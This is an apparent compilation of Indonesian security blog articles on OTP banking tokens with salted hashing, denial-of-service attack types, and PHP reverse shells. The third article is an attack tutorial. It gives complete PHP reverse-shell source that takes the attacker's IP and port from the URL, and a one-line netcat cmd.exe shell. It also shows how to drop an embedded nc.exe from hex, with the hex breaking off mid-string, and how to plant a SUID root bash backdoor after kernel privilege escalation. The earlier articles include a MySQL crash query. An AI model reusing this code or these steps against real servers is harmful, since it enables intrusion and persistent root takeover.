    Terbatasnya konteks ini disebabkan karena untuk melakukan transaksi dibutuhkan password yang diikat oleh challenge dari server, sehingga password tersebut tidak bisa dipakai untuk transaksi lain yang membutuhkan challenge code yang berbeda. Contohnya bila challenge yang diberikan server adalah 3 digit terakhir dari nomor handphone (untuk transaksi isi pulsa), atau 3 digit terakhir nomor rekening tujuan (untuk transaksi transfer). Maka password yang dihasilkan token untuk transaksi isi pulsa ke nomor 0812555111222, akan valid juga untuk transaksi transfer uang ke rekening 155887723120222. Sebab kebetulan kedua transaksi tersebut membutuhkan password yang diikat oleh challenge code yang sama, yaitu 222 (diambil dari 3 digit terakhir).
    Konteks ini hanya berlaku bila password dihasilkan dalam mode C/R. Password yang dihasilkan dalam mode Self Generated, bisa dipakai dalam transaksi apa saja yang tidak meminta password dengan challenge code.
Jadi bisa disimpulkan bahwa password yang dikeluarkan token bersifat:
  1. Selalu berubah-ubah secara periodik
  2. Memiliki umur yang singkat
  3. Hanya bisa dipakai 1 kali
  4. Terbagi dalam ada dua jenis, yaitu:
  • Password kontekstual yang terikat oleh challenge code dalam mode challenge/response.
  • Password bebas konteks yang dihasilkan dalam mode self generated.
Proses Otentikasi
Seperti password pada umumnya, syarat agar otentikasi berhasil adalah:
password yang dikirimkan client = password yang disimpan di server
Dengan alasan keamanan jarang sekali server menyimpan password user dalam bentuk plain-text. Biasanya server menyimpan password user dalam bentuk hash sehingga tidak bisa dikembalikan dalam bentuk plain-text. Jadi syarat otentikasi berhasil di atas bisa diartikan sebagai hasil penghitungan hash dari password yang dikirim klien harus sama dengan nilai hash yang disimpan dalam server. Perhatikan gambar di bawah ini untuk lebih memahami.
courtesy of "www.unixwiz.net/techtips/iguide-crypto-hashes.html"
courtesy of "www.unixwiz.net/techtips/iguide-crypto-hashes.html"
Penggunaan Salt
Untuk menghindari brute-force attack terhadap hash yang disimpan di server, maka sebelum password user dihitung nilai hashnya, terlebih dahulu ditambahkan string acak yang disebut dengan salt. Perhatikan contoh berikut, bila password user adalah “secret”, maka sebelum dihitung nilai hashnya, password ditambahkan dulu salt berupa string acak “81090273″ sehingga yang dihitung nilai hashnya adalah “secret81090273″ bukan “secret”.
Perhatikan bahwa nilai MD5(“secret81090273″) adalah 894240dbe3d2b546c05a1a8e9e0df1bc sedangkan nilai MD5(“secret”) adalah 5ebe2294ecd0e0f08eab7690d2a6ee69. Bila tanpa menggunakan salt, maka attacker yang mendapatkan nilai hash 5ebe2294ecd0e0f08eab7690d2a6ee69 bisa menggunakan teknik brute force attack atau rainbow table untuk mendapatkan nilai password dalam plain-text. Salah satu contoh database MD5 online yang bisa dipakai untuk crack md5 adalah http://gdataonline.com/seekhash.php . Dalam situs tersebut coba masukkan nilai 5ebe2294ecd0e0f08eab7690d2a6ee69, maka situs tersebut akan memberikan hasil “secret”. Hal ini disebabkan karena situs tersebut telah menyimpan pemetaan informasi secret<=>5ebe2294ecd0e0f08eab7690d2a6ee69.
Penambahan salt “81090273″ membuat nilai hash menjadi 894240dbe3d2b546c05a1a8e9e0df1bc. Bila nilai ini dimasukkan dalam situs tersebut, dijamin tidak akan ada dalam databasenya bahwa nilai hash tersebut adalah “secret81090273″. Dan karena nilai salt ini dibangkitkan secara random, maka tiap user memiliki nilai salt yang berbeda sehingga tidak mungkin attacker bisa membangun database pemetaan antara plaintext dan hash secara lengkap.
Dengan penggunaan salt, maka database pengguna dalam server akan tampak seperti ini:
Username Salt Password Hash
budi 81090273 894240dbe3d2b546c05a1a8e9e0df1bc
Field salt diperlukan ketika melakukan otentikasi. Password yang dikirimkan user akan ditambahkan dulu dengan nilai salt ini baru kemudian dihitung nilai hashnya. Nilai hash hasil perhitungan tersebut akan dibandingkan dengan field Password Hash yang ada di kolom sebelahnya. Bila sama, maka otentikasi berhasil, bila tidak sama, berarti otentikasi gagal. Secara prinsip sama saja dengan gambar di atas, hanya ditambahkan satu langkah yaitu penambahan salt sebelum dihitung nilai hashnya.
Pembangkitan One Time Password (OTP) Token Internet Banking
Apa yang saya jelaskan sebelumnya menjadi dasar dari apa yang akan saya jelaskan berikut ini. Bagaimana cara token menghasilkan sederetan angka sebagai OTP yang bisa diotentikasi oleh server? Ingat bahwa syarat agar otentikasi berhasil adalah password yang dikirim klien harus sama dengan yang disimpan di server. Ingat juga bahwa password yang dihasilkan token selalu berubah-ubah secara periodik. Bagaimana apa yang dihasilkan alat itu bisa sinkron dengan server? Padahal alat tersebut tidak terhubung dengan server, bagaimana server bisa tahu berapa nilai yang dihasilkan token? Jawabannya adalah dengan waktu. Sebelumnya sudah saya sebutkan bahwa waktu adalah elemen yang sangat penting dalam sistem ini. Server dan token dapat sinkron dengan menggunakan waktu sebagai nilai acuan.
OTP dalam Mode Self Generated (Response Only)
Saya akan jelaskan mulai dari pembangkitan OTP dalam mode self generated atau response only. Sebelumnya tentu saja, server dan token harus menyepakati sebuah nilai awal rahasia (init-secret). Nilai awal ini disimpan (ditanam) dalam token dan disimpan juga dalam tabel di server.
Ketika pada suatu waktu tertentu token diminta menghasilkan OTP tanpa challenge code, inilah yang dilakukan token:
  1. Mengambil waktu saat ini dalam detik berformat EPOCH (jumlah detik sejak 1 Januari 1970), biasanya dalam granularity 10 detik, sehingga nilai EPOCH dibagi 10.
  2. Menggabungkan init-secret dengan waktu saat ini dari langkah 1.
  3. Menghitung nilai hash gabungan init-secret dan waktu dari langkah 2.
Nilai hash dari langkah 3 inilah yang menjadi OTP. Namun biasanya OTP diambil dari beberapa karakter/digit di awal hash.
Bagaimana cara server melakukan otentikasi? Caranya mirip dengan yang dilakukan token, yaitu dengan menghitung nilai hash gabungan init-secret dengan waktu saat ini dan mengambil beberapa digit di awal sebagai OTP. Bila OTP yang dikirim user sama dengan OTP yang didapatkan server dari perhitungan hash, maka otentikasi berhasil.
Namun ada sedikit catatan yang harus diperhatikan terkait waktu. Untuk memberikan toleransi perbedaan waktu antara token dan server, dan juga jeda waktu dari sejak server meminta password sampai user meminta token membangkitkan token, maka server harus memberikan toleransi waktu.
Ada tiga kejadian yang perlu diperhatikan waktunya, yaitu:
  1. Detik ketika server meminta password (OTP) dari user
  2. Detik ketika token membangkitkan OTP
  3. Detik ketika server menerima OTP dari user
Perhatikan contoh di bawah ini:
Bila diasumsikan waktu di server sama persis dengan waktu di token (jam internal token), maka kita harus perhatikan bahwa pasti akan ada jeda antara kejadian 1, 2 dan 3. Bila pada detik ke-0 server meminta password dari user, karena lambatnya akses internet, bisa jadi baru pada detik ke-30 user melihat pada browsernya bahwa dia harus memasukkan OTP dari token. Kemudian baru pada detik ke-60 token menghasilkan OTP. Pada detik ke-65 user mensubmit nilai OTP tersebut ke server dan baru tiba di server pada detik ke-90.
Karena pembangkitan OTP tergantung waktu pada saat OTP dibangkitkan, maka OTP yang dihasilkan token, adalah OTP pada detik ke-60. Sedangkan server meminta password dari user sejak detik ke-0. Bagaimana cara server melakukan otentikasi? Caranya adalah dengan memeriksa seluruh kemungkinan OTP dalam rentang waktu yang dipandang memadai, misalkan 180 detik.
Bila sistem menggunakan granularity 10 detik maka server harus menghitung nilai OTP sejak dari detik ke-0, 10, 20, 30, 40, s/d ke 180 dalam kelipatan 10 detik. Perhatikan contoh pada gambar di bawah ini. Dalam sistem ini diasumsikan OTP adalah 6 karakter awal dari MD5 gabungan. Dalam melakukan otentikasi, server harus membandingkan semua nilai OTP sejak detik ke-0 (dalam contoh ini EPOCH/10 = 124868042) hingga waktu toleransi maksimum.
otptoken1Dalam contoh di atas bila user mengirimkan OTP “b1cdb9″ maka otentikasi akan berhasil ketika server menghitung nilai OTP pada detik ke-60 sejak server meminta OTP dari user.
Ilustrasi di atas hanyalah contoh, pada kenyataannya ada kemungkinan waktu antara server dan token tidak sama persis 100%, sehingga server terpaksa harus memberikan toleransi waktu tidak hanya ke depan, namun juga ke belakang. Sebab bisa jadi waktu di server lebih cepat daripada waktu di token. Sebagai contoh ketika waktu di server menunjukkan EPOCH/10=124868219, bisa jadi waktu di token baru menunjukkan EPOCH/10=1248682121 (waktu token terlambat 80 detik).
Misalkan waktu toleransi adalah 3 menit, maka server harus memberikan toleransi 3 menit ke depan dan 3 menit ke belakang relatif terhadap waktu ketika server menerima OTP dari user dan melakukan otentikasi. Ingat, waktu toleransi ini relatif terhadap waktu server melakukan otentikasi. Jadi jika server melakukan otentikasi pada EPOCH/10=600, maka server harus menghitung seluruh nilai OTP sejak EPOCH/10=420  hingga EPOCH/10=780.
Ingat penjelasan saya tentang salt sebelumnya. Kalau dibandingkan dengan OTP ini, maka nilai init-secret adalah sejenis dengan password plain-text pengguna, sedangkan salt atau tambahannya adalah waktu (EPOCH/10).
Umur OTP
Sebelumnya sudah saya sebutkan bahwa sifat dari OTP adalah memiliki umur yang terbatas. Umur ini terkait dengan waktu toleransi yang diberikan server sebesar X detik ke depan dan X detik ke belakang relatif terhadap saat server melakukan otentikasi. Bila waktu toleransi adalah 3 menit (180 detik), maka umur sebuah OTP adalah 3 menit, dalam arti bila server melakukan otentikasi tidak lebih dari 3 menit sejak OTP dibangkitkan token, maka OTP tersebut akan dianggap valid oleh server.
OTP dalam Mode Challenge/Response
Pembangkitan dan otentikasi OTP dalam mode C/R sebenarnya mirip dengan mode self-generated. Bila dalam mode self generated tambahan (salt) dari init-secret adalah waktu (EPOCH/10), dalam mode C/R ini salt/tambahannya lebih banyak. Init-secret tidak hanya ditambah dengan waktu, namun juga ditambah lagi dengan challenge.
Perhatikan gambar di bawah ini. Server melakukan penghitungan OTP untuk semua detik dalam waktu toleransinya.
otptoken2
Dalam mode C/R ada field tambahan yang harus digabungkan sebelum dihitung nilai hashnya, yaitu challenge. Nilai challenge ini diketahui oleh server dan juga oleh token (ketika user mengetikkan challenge ke token), sehingga baik token maupun server akan dapat menghitung OTP yang sama sehingga proses otentikasi dapat berlangsung.
Untuk menghindari brute-force attack terhadap hash yang disimpan di server, maka sebelum password user dihitung nilai hashnya, terlebih dahulu ditambahkan string acak yang disebut dengan salt. Perhatikan contoh berikut, bila password user adalah “rahasia”, maka sebelum dihitung nilai hashnya, password ditambahkan dulu salt berupa string acak “81090273″ sehingga yang dihitung nilai hashnya adalah “rahasia81090273″ bukan “rahasia”.

Memahami Serangan Denial of Service

Dalam artikel ini saya akan menjelaskan mengenai jenis serangan yang bisa dikatakan tidak ada obatnya, yaitu denial of service atau DoS. Bila serangan DoS ini dilakukan secara beramai-ramai dan terorganisir dengan baik, maka akan menghasilkan kerusakan yang dahsyat dan sanggup melumpuhkan situs-situs populer seperti twitter.com dan metasploit.com.
Apa itu DoS
Denial of service adalah jenis serangan yang tujuannya adalah mencegah pengguna yang sesungguhnya menikmati layanan yang diberikan server. Server sesuai namanya adalah pelayan yang harus selalu siap melayani permintaan pengguna, yang umumnya beroperasi 24 jam tanpa henti. Contohnya adalah web server yang bertugas melayani pengunjung web menyediakan informasi dalam bentuk halaman html. Dalam kondisi normal, pengunjung dapat meminta resource dari web server untuk ditampilkan dalam browsernya, namun bila web server terkena serangan DoS maka pengunjung tidak bisa menikmati layanan web server.
Secara umum ada 2 cara melakukan serangan DoS:
  1. Mematikan Server
  2. Menyibukkan Server
    • Tanpa bug/vulnerability
    • Meng-exploit bug/vulnerability
DoS dengan Mematikan Server: Kill Them!
Anda pernah mengalami ingin memakai telepon umum atau ATM namun tidak bisa karena di mesin tersebut ditempel kertas berisi pesan “Out of Service” atau “Sedang dalam perbaikan”. Telepon umum adalah target serangan DoS yang biasa terjadi, dimana-mana kita menemukan telpon umum yang rusak karena serangan DoS seperti membanting gagang telpon, mencabut kabel, memecahkan LCD dan aksi-aksi lainnya.
Tujuan serangan ini adalah membuat server shutdown, reboot, crash, “not responding”. Jadi serangan ini menghasilkan kerusakan yang sifatnya persisten artinya kondisi DoS akan tetap terjadi walaupun attacker sudah berhenti menyerang, server baru normal kembali setelah di-restart/reboot.
Bagaimana cara serangan DoS ini dilakukan? Serangan ini dilakukan dengan meng-exploit bug/vulnerability pada server. Kata kunci pada vulnerability jenis ini biasanya adalah “specially/carefully crafted packet/request”, yang artinya paket yang dirancang khusus. Kenapa dirancang khusus? Sebab dalam paket itu mengandung  sifat tertentu yang membuat server mati ketika mengolah paket khusus itu.
Mari kita perhatikan beberapa contoh vulnerability yang berakibat pada DoS attack:
  • Ping of Death ( CA-1996-26 )
  • Ini adalah jenis bug yang sudah sangat tua. Praktis sudah tidak ada lagi sistem yang vulnerable terhadap bug ini. Bug ini bila diexploit akan membuat server crash, freeze atau reboot. Serangan ini dilakukan dengan mengirimkan “specially crafted” paket berupa oversized ICMP packet, yaitu paket yang ukurannya di atas normal. Ketika server menerima dan memproses paket yang “aneh” ini, maka server akan crash, freeze atau reboot. Ini adalah contoh serangan DoS “one shot one kill” karena bisa merusak server hanya dengan satu tembakan saja.
  • MySQL IF Query DoS ( SA25188 )
  • Bug ini akan membuat mysql server menjadi crash hanya dengan mengirim sql khusus yang mengandung fungsi IF() contohnya: “SELECT id from example WHERE id IN(1, (SELECT IF(1=0,1,2/0)))”. Ini juga jenis serangan “one shot one kill”.
  • Cisco Global Site Selector DNS Request Denial of Service (SA33429)
  • Bug ini membuat DNS server Cisco mati dengan mengirimkan beberapa “specially crafted” paket request DNS dalam urutan tertentu.
Tiga contoh di atas kiranya cukup memberikan gambaran tentang bagaimana serangan DoS jenis ini dilakukan. Pada intinya adalah attacker memanfaatkan (baca:mengexploit) bug yang membuat server berhenti bekerja dan biasanya dilakukan sendirian secara remote dengan mengirimkan specially crafted packet.
DoS dengan Menyibukkan Server: Make Them As Busy As Possible!
Pada waktu menjelang lebaran kita sering merasa begitu sulit mengirim sms, bahkan sering terjadi gagal kirim. Begitu juga ketika berlangsung acara kuis di TV, mengelpon ke nomor untuk menjawab kuis terasa begitu sulit.  Hal ini terjadi karena ada begitu banyak orang yang mengirim sms pada saat lebaran dan menelpon pada waktu kuis sehingga membuat jaringan telekomunikasi menjadi begitu sibuk sampai tidak bisa melayani pengguna lain. Peristiwa itu mirip dengan yang terjadi ketika sebuah server mendapat serangan denial of service. DoS yang terjadi pada peristiwa tersebut bukan jenis DoS yang mematikan server, namun jenis DoS yang menyibukkan server.
Jenis DoS ini bersifat sementara, server akan kembali normal bila attacker berhenti mengirimkan request yang membuat sibuk server.
DoS jenis ini terbagi lagi menjadi 2 jenis berdasarkan cara melakukan serangan:
  • Exploiting vulnerability: Menyerang dengan malicious request/packet
  • No vulnerability exploitation: Menyerang dengan normal request/packet
Membuat server sibuk dengan mengexploitasi vulnerability lebih cepat daripada tanpa mengeksploit vulnerability.
Make Server Busy by Exploiting Vulnerability
Dalam serangan DoS jenis ini, attacker memanfatkan bug yang membuat server berlebihan dalam menggunakan resource (cpu,memory,disk space dsb). Attacker akan mencari cara bagaimana agar membuat server bekerja ekstra keras (jauh lebih keras dari request normal) untuk melayani request dia. Biasanya serangan DoS jenis ini tidak berupa serangan “one shot one kill”. Serangan dilakukan dengan melakukan banyak request dengan setiap request membuat server mengonsumsi lebih banyak resource dari request yang normal.
Dalam hitungan matematika sederhana, bila attacker bisa membuat server bekerja selama 10 detik  hanya untuk melayani dia (misal normalnya 0,1 detik), maka attacker bisa mengirimkan request 1.000x untuk membuat server melayani dia selama 10.000 detik (2,7 jam lebih) sehingga membuat pengguna lain tidak bisa menikmati layanan server.
Untuk lebih memahami DoS jenis ini, mari kita lihat contoh-contoh vulnerability yang bisa diexploit untuk melancarkan serangan DoS jenis ini:
  • TCP SYN Flood DoS
  • Ini adalah serangan DoS yang sudah sangat tua. Attacker menyerang dengan cara membanjiri server dengan malicious request berupa paket SYN dengan fake source IP address. SYN packet adalah paket dari client yang mengawali terbentuknya koneksi TCP/IP, setelah itu server akan membalas dengan SYN-ACK, dan dilengkapi dengan paket SYN-ACK-ACK dari client, tiga proses ini disebut three way handshake.
    Triknya adalah pada fake source ip address pada paket SYN dari client. Akibatnya server akan mengirim SYN-ACK (step 2) ke ip address yang salah sehingga server juga tidak akan mendapatkan balasan SYN-ACK-ACK dari client. Padahal untuk setiap client yang mencoba membuka koneksi, server akan mengalokasikan resource seperti memori dan waktu untuk menunggu datangnya balasan ACK dari client. Dengan cara ini attacker menghabiskan resource server hanya untuk melayani request palsu dari attacker.
  • Apache mod_deflate DoS
  • Apache menggunakan mod_deflate untuk memampatkan file. Bila visitor meminta sebuah file, maka apache akan menggunakan mod_deflate untuk memampatkannya kemudian mengirimkan ke visitor tersebut. Namun bila di tengah proses pemampatan, visitor memutuskan koneksi TCP, Apache masih terus bekerja memampatkan file untuk visitor yang sebenarnya sudah tidak ada (sudah disconnect). Jadi bugnya adalah pada borosnya pemakaian resource cpu untuk memampatkan file untuk client yang sudah tidak ada.
    Attacker memanfaatkan kelemahan ini dengan meminta sebuah file yang berukuran besar, kemudian dalam waktu singkat memutuskan koneksi sehingga membuat server bekerja keras mempatkan file untuk visitor yang sudah tidak ada. Request ini diulang berkali-kali sampai server begitu sibuknya dan semua resource cpu habis.
Dua contoh vulnerability di atas cukup menjelaskan bagaimana serangan DoS jenis ini dilakukan. Pada intinya adalah dengan mengirim banyak malicious request/paket  yang membuat server mengonsumsi resource lebih banyak dan lebih lama untuk setiap requestnya.
Make Server Busy Without Exploiting Vulnerability
Ini adalah jenis serangan yang mengandalkan pada kemampuan mengirimkan normal request sebanyak-banyaknya sehingga server menjadi sibuk. Perbedaan DoS jenis ini dengan DoS yang mengexploit vulnerability adalah pada requestnya. Request yang dikirimkan pada DoS jenis ini adalah request yang normal seperti yang dilakukan pengguna biasa, sehingga server tidak mengonsumsi resource berlebihan. Sedangkan DoS yang mengandalkan vulnerability mengirimkan specially crafted malicious request untuk membuat server mengonsumsi resource lebih banyak untuk melayani malicious request tersebut.
Normal request hanya membuat server mengonsumsi resource dalam jumlah biasa-biasa saja, tidak akan mengganggu kerja server secara keseluruhan. Diperlukan normal request dalam jumlah yang sangat banyak untuk membuat server terganggu kerjanya. Jadi agar serangan ini menjadi efektif, maka serangan harus dilakukan beramai-ramai dari banyak tempat, semakin banyak penyerang semakin bagus hasilnya. Serangan ini juga disebut dengan distributed DoS (DDoS) karena dilakukan dari banyak lokasi yang terdistribusi (tersebar).
Serangan DDoS dilakukan dengan menggunakan komputer zombie atau robot. Zombie adalah komputer yang sudah dikuasai attacker sehingga bisa dikendalikan dari jarak jauh. Sekumpulan komputer zombie membentuk jaringan yang disebut bot-net. Attacker mendapatkan banyak zombie dengan menyebarkan virus atau worm, setiap komputer yang terinfeksi akan diinstall program yang membuat komputer bersedia menjalankan perintah dari attacker.
DDoS Botnet Attack
Courtesy of: www.dos-attack.net
Gambar di atas menjelaskan cara kerja DDoS. Attacker memberi perintah kepada semua pasukannya untuk membuat request HTTP ke sebuah website. Bila pasukan yang dikuasai attacker sangat besar, maka web server akan dibanjiri request sehingga menjadi terlalu sibuk dan tidak bisa diakses oleh pengguna yang sebenarnya (real visitor).
Serangan jenis ini tidak ada obatnya karena attacker tidak meng-exploit bug atau vulnerability apapun. Bila pada jenis DoS yang lain, serangan dapat dicegah dengan melakukan patching atau update software, maka serangan ini tidak bisa dihentikan dengan update atau patch.
Kesimpulan
Denial of service adalah serangan yang membuat server tidak bisa melayani pengguna yang sesungguhnya. Berikut adalah jenis-jenis serangan DoS berdasarkan cara melakukan serangan:
  • Mematikan Server: one shot, one kill untuk membuat server menjadi crash, hang, reboot.
  • Menyibukkan Server: mengirim banyak sekali request untuk membuat server sibuk.
    • Exploiting bug: mengirim banyak specially crafted request. Jumlah request tidak sebanyak jenis DoS yang menyibukkan server dengan normal request.
    • Normal request: mengirim banyak request normal seperti pengguna biasa. Diperlukan jumlah request yang lebih banyak dibandingkan jenis DoS yang menyibukkan server dengan exploit bug. Biasanya menggunakan botnet secara terdistribusi.
Share and Enjoy: Baara rhapsody

Reverse Connecting Shell di PHP

Rootshell adalah impian semua hacker. Biasanya seorang hacker yang masuk melalui web vulnerability, akan mengupload webshell. Dengan webshell si hacker bisa mengeksekusi command shell melalui request HTTP. Namun webshell tetaplah bukan true shell, webshell memiliki banyak keterbatasan, salah satunya adalah sifatnya yang tidak interaktif.
Dalam artikel ini saya akan menjelaskan bagaimana caranya mendapatkan true shell yang interaktif dari suatu website yang berhasil dihack. Dari shell tersebut saya juga memperlihatkan contoh eksploitasi lokal untuk meningkatkan privilege dari user biasa (apache) menjadi root dan mensetup sebuah backdoor sehingga si hacker kapan saja bisa mendapatkan rootshell.

Reverse Shell PHP di Linux
Saya memakai reverse shell php dari situs pentestmonkey.net dalam artikel ini. Reverse shell tersebut dibuat murni dalam PHP namun hanya bekerja untuk OS berbasis UNIX seperti Linux. Saya sudah mencoba untuk memodifikasi reverse shell tersebut untuk bekerja di windows, namun belum berhasil, jadi untuk Windows saya akan pakai pendekatan lain yang tidak murni PHP.
Reverse shell tersebut memiliki dua konfigurasi yang dihard-coded ke dalam file phpnya, yaitu IP address dan port server yang akan dihubungi oleh reverse shell ini. Agar lebih fleksibel saya mengubah dua variabel tersebut menjadi mengambil nilai dari parameter GET.
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
Ubah dua baris yang mengandung variabel $ip dan $port menjadi seperti di bawah ini.
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["ip"];
$port = $_GET["port"];
$chunk_size = 1400;
Jadi source code lengkap rs.php adalah sebagai berikut:
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["ip"]; 
$port = $_GET["port"]; 
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = '/bin/bash -p -i';
$daemon = 0;
$debug = 0;
 
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
 
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
 
	if ($pid) {
		exit(0);  // Parent exits
	}
 
	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}
 
	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
 
// Change to a safe directory
chdir("/");
 
// Remove any umask we inherited
umask(0);
 
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}
 
// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
 
$process = proc_open($shell, $descriptorspec, $pipes);
 
if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}
 
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
 
printit("Successfully opened reverse shell to $ip:$port");
 
while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}
 
	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}
 
	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
 
	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}
 
	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}
 
	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}
 
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
 
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}
?>
Setelah file tersebut dibuat, cara memakainya sangat mudah, anda hanya perlu memasukkan file tersebut ke suatu website. Lalu request file PHP tersebut dari browser anda. Contohnya bila anda menamakan file tersebut dengan rs.php, maka anda cukup membuka browser ke URL http://ALAMAT.IP.KORBAN/rs.php?ip=ALAMAT.IP.HACKER&port=NO.PORT.HACKER
Tapi sebelumnya anda harus sudah menyiapkan “listener”-nya di server milik hacker. Cara termudah adalah dengan memakai program netcat. Netcat di linux sudah secara default tersedia, sedangkan untuk windows harus didownload dulu dari sini.
Dua gambar di bawah ini menunjukkan kondisi ketika ketika rs.php di-request, seketika itu juga netcat yang sudah diset untuk listen di port 443 menerima koneksi dari server korban dan memberikan shell untuk anda. Saya memilih port 443 karena biasanya firewall mengizinkan koneksi outbound pada port http dan https, bila saya memilih port 4444 dikhawatirkan firewall di server korban akan memblok koneksi tersebut karena port yang tidak umum.


Bila anda hosting di tempat yang tidak memberikan akses ssh, jangan kuatir, dengan cara ini anda bisa mendapatkan shell interaktif layaknya memakai ssh. Pengelola hosting juga jangan merasa aman bila tidak menyediakan akses ssh bagi customernya karena dengan cara ini customer bisa mendapatkan akses shell seperti ssh dan melakukan eksploitasi lokal lebih leluasa.
Privilege Escalation
Mari kita lanjutkan skenarionya. Setelah kita mendapatkan akses shell sebagai user apache (ceritanya kita berhasil menghack website korban melalui sql injection attack). Kenapa user apache? Karena webservernya kebetulan dijalankan dengan privilege user apache.
Perintah uname memperlihatkan bahwa server hosting tersebut memakai Linux dengan kernel yang vulnerable terhadap null pointer dereference. Itu artinya kita bisa menjadi root di server hosting tersebut. Gambar di bawah ini adalah langkah yang dilakukan hacker untuk menjadi root.

Reverse Rootshell
Setelah menjadi root dengan mengeksploitasi kernel, hacker berusaha memasang backdoor sehingga dia bisa mendapatkan rootshell kapan saja dia mau. Dia akan membuat salinan /bin/bash ke dalam /sbin/bash, kemudian mengubah permissionnya menjadi SUID root (4755). Dengan cara ini, siapapun yang mengeksekusi /sbin/bash bisa menjadi root (khusus untuk bash perlu ditambahkan opsi -p untuk mendapatkan rootshell).
Setelah membuat /sbin/bash, kini hacker membuat file baru rsroot.php yang merupakan modifikasi dari rs.php. Perbedaan antara rs.php dan rsroot.php hanya pada baris yang berisi variabel $shell. Bila sebelumnya variable $shell berisi /bin/bash, maka kini menjadi /sbin/bash yaitu root shell yang sudah dibuat hacker.

Sekarang backdoor rsroot.php sudah siap dieksekusi. Kapanpun hacker menginginkan rootshell di server korban, dia hanya perlu membuka URL http://ALAMAT.IP.KORBAN/rsroot.php?ip=ALAMAT.IP.HACKER&port=NO.PORT.HACKER.
Gambar di bawah ini menunjukkan perbedaan antara rs.php dan rsroot.php. Ketika hacker mendapatkan rootshell dengan merequest URL rsroot.php terlihat karakter prompt yang didapatkan adalah “#” yang berarti ini adalah rootshell. Namun ketika shell di dapatkan melalui rs.php, maka prompt yang didapatkan adalah “$” yang berarti hanya normal shell sebagai apache.

Reverse Shell di Windows
File rs.php hanya berlaku untuk server berbasis UNIX seperti Linux, file tersebut tidak berlaku bila webserver berjalan di OS Windows. Karena implementasi dalam php murni tidak bisa, jadi saya menyiasati dengan cara script php tersebut mengeksekusi netcat.exe untuk memberikan reverse shell ke server hacker.
Dalam script php, reverse shell yang memanfaatkan netcat.exe bisa dibuat dalam satu baris saja:
<?php
system("nc.exe ".$_GET["ip"]." ".$_GET["port"]." -d -e cmd.exe");
?>
Masalahnya adalah script di atas memanggil netcat (nc.exe) yang umumnya tidak ada di windows. Ada beberapa alternatif cara untuk mendapatkan nc.exe di windows. Alternatifnya adalah:
  • download: file nc.exe didownload dari suatu server. Donwload bisa dengan php atau tftp.exe.
  • upload: dibuat suatu file php untuk melakukan upload file ke webserver.
  • generate: script php akan membuat file nc.exe kemudian mengeksekusinya.
Dari ketiga alternatif tersebut saya memilih opsi terakhir, yaitu generate karena paling praktis, tidak perlu download/upload nc.exe terpisah, cukup satu file php saja. Caranya adalah saya mengubah isi file binary nc.exe menjadi bentuk hexa, kemudian menaruhnya di awal file php sebagai variabel string. Kemudian isi variabel string ini akan diubah menjadi bentuk binary decimal dan ditulis ke dalam file nc.exe.
Potongan script php di bawah ini mengubah variabel string dalam bentuk hexa ($hex) menjadi bentuk karakter ASCII (binary) dengan fungsi chr() dan disimpan dalam variabel $nc. Kemudian variabel $nc ini ditulis ke dalam file nc.exe dengan fungsi file_put_contents(). Setelah file nc.exe berhasil dibuat, maka dilanjutkan dengan mengeksekusi nc.exe dengan fungsi system().
Dalam potongan code ini, isi variabel $hex sengaja tidak ditulis lengkap agar mudah dilihat.
<?
$hex=
"310101010255362c043bdfcc7ca3b2ff01141b89b009b9140100d9086c64".
"2feff743a88d6c11006fe4f692cb6f91739192980f96985c8ebcbd659d0b".
"699d40629b669b4a9cdc9e309c27349c1c112dea77e00102a635002f003f".
"43fccddffd00a44700e047017700974800e0488d00984900e049dffccddf".
"8600994b00e04b73009b4d00e04d74009d4f00cddffccde04f75009f5000".
"e0509100a05100e05176f2cddffc00a15200e0529200a25300e0539300a3".
"0000237521721b243100ba78f6fdfbdd3200970300793300230f7a340024".
"077b9df87cf9df250f7c36005e001e7d3700267e38736cf00a1d1a39fd0f".
"cf97ffbc80300029812d005f001f823d002b8397b7db47d47f070e09030f".
"00947100dfde4c6d9f1136e457001707116500456b253614dd1272090407".
